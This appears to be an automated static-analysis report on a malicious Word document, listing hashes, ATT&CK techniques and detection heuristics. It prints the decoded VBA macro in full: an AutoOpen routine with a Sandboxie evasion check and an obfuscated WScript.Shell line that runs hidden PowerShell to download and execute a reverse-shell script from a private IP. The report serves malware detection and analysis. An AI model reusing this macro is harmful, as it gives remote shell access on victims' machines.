Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e63342494a6ee07d…

MALICIOUS

Office (OOXML)

19.2 KB Created: 2021-05-27 11:55:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-04
MD5: 623672dcf31d36102d38b7f0dfdf3304 SHA-1: 89b1a29fa9ab7cfdc6ed6a69cf671955626acc26 SHA-256: e63342494a6ee07d3bf8d79933c700fa8fefe129e2e5e8559fa02f19577dad1b
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1059 Command and Scripting Interpreter T1204.002 Malicious File T1140 Deobfuscate or Obfuscate

The sample contains a VBA macro with an AutoOpen subroutine that attempts to detect and evade sandbox environments using the IsSandBoxiePresent function. If sandbox detection fails, it proceeds to execute a PowerShell command. This command uses WScript.Shell to download and execute a script from the URL 'http://192.168.2.120/reverse_shell_120_4444.ps1', likely establishing a reverse shell. The use of WScript.Shell and Shell() calls are critical indicators of malicious intent.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
      Set objShell = CreateObject("Wscript.shell")
  objShell.Run Chr(112) + "o" + "W" + "e" + "R" + "s" + "H" + "e" + "L" + "l" + "." + "E" + "x" + "E " + Chr(150) + "w " + "h" + "i" + "d" + "d" + "e" + "n" + " IEX (New-Object Net.WebClient)." + Chr(100) + "ownloadStrin" + Chr(103) + "('" + Chr(104) + Chr(116) + Chr(116) + Chr(112) + "://192.168.2.120/reverse_shell_120_4444.ps1')"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
      Set objShell = CreateObject("Wscript.shell")
  objShell.Run Chr(112) + "o" + "W" + "e" + "R" + "s" + "H" + "e" + "L" + "l" + "." + "E" + "x" + "E " + Chr(150) + "w " + "h" + "i" + "d" + "d" + "e" + "n" + " IEX (New-Object Net.WebClient)." + Chr(100) + "ownloadStrin" + Chr(103) + "('" + Chr(104) + Chr(116) + Chr(116) + Chr(112) + "://192.168.2.120/reverse_shell_120_4444.ps1')"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1704 bytes
SHA-256: 168c25fd5f9b3fa8ed1971122fdaf00f61943488fea1cce2615b5a25d86fcc19
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Public Declare PtrSafe Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long
 
Sub AutoOpen()

 'If IsSandBoxiePresent(1) = True Then MsgBox ("OH no Sandboxie is here ...")
If IsSandBoxiePresent(1) = True Then Exit Sub
If IsSandBoxiePresent(1) = False Then Call Shello

End Sub
 
 
 
 
 
 
 
Function IsSandBoxiePresent(ByVal OptionToCheck As Integer) As Boolean
   Select Case OptionToCheck
       Case 1  'Recomendado
           Dim hSbie As Long
 
           hSbie = GetModuleHandle("SbieDll.dll")
           If hSbie <> 0 Then
               IsSandBoxiePresent = True
           Else
               IsSandBoxiePresent = False
           End If
       Case 2  'No recomendado
           If InStr(MainFrm.Caption, "[#]") <> 0 Then
               IsSandBoxiePresent = True
           Else
               IsSandBoxiePresent = False
           End If
   End Select
End Function

Function Shello()

  Set objShell = CreateObject("Wscript.shell")
  objShell.Run Chr(112) + "o" + "W" + "e" + "R" + "s" + "H" + "e" + "L" + "l" + "." + "E" + "x" + "E " + Chr(150) + "w " + "h" + "i" + "d" + "d" + "e" + "n" + " IEX (New-Object Net.WebClient)." + Chr(100) + "ownloadStrin" + Chr(103) + "('" + Chr(104) + Chr(116) + Chr(116) + Chr(112) + "://192.168.2.120/reverse_shell_120_4444.ps1')"

End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 20480 bytes
SHA-256: 534fdd4ea59db331926ea8b24a2d3a1bb29912dff74007c33a5a3ec1332150be

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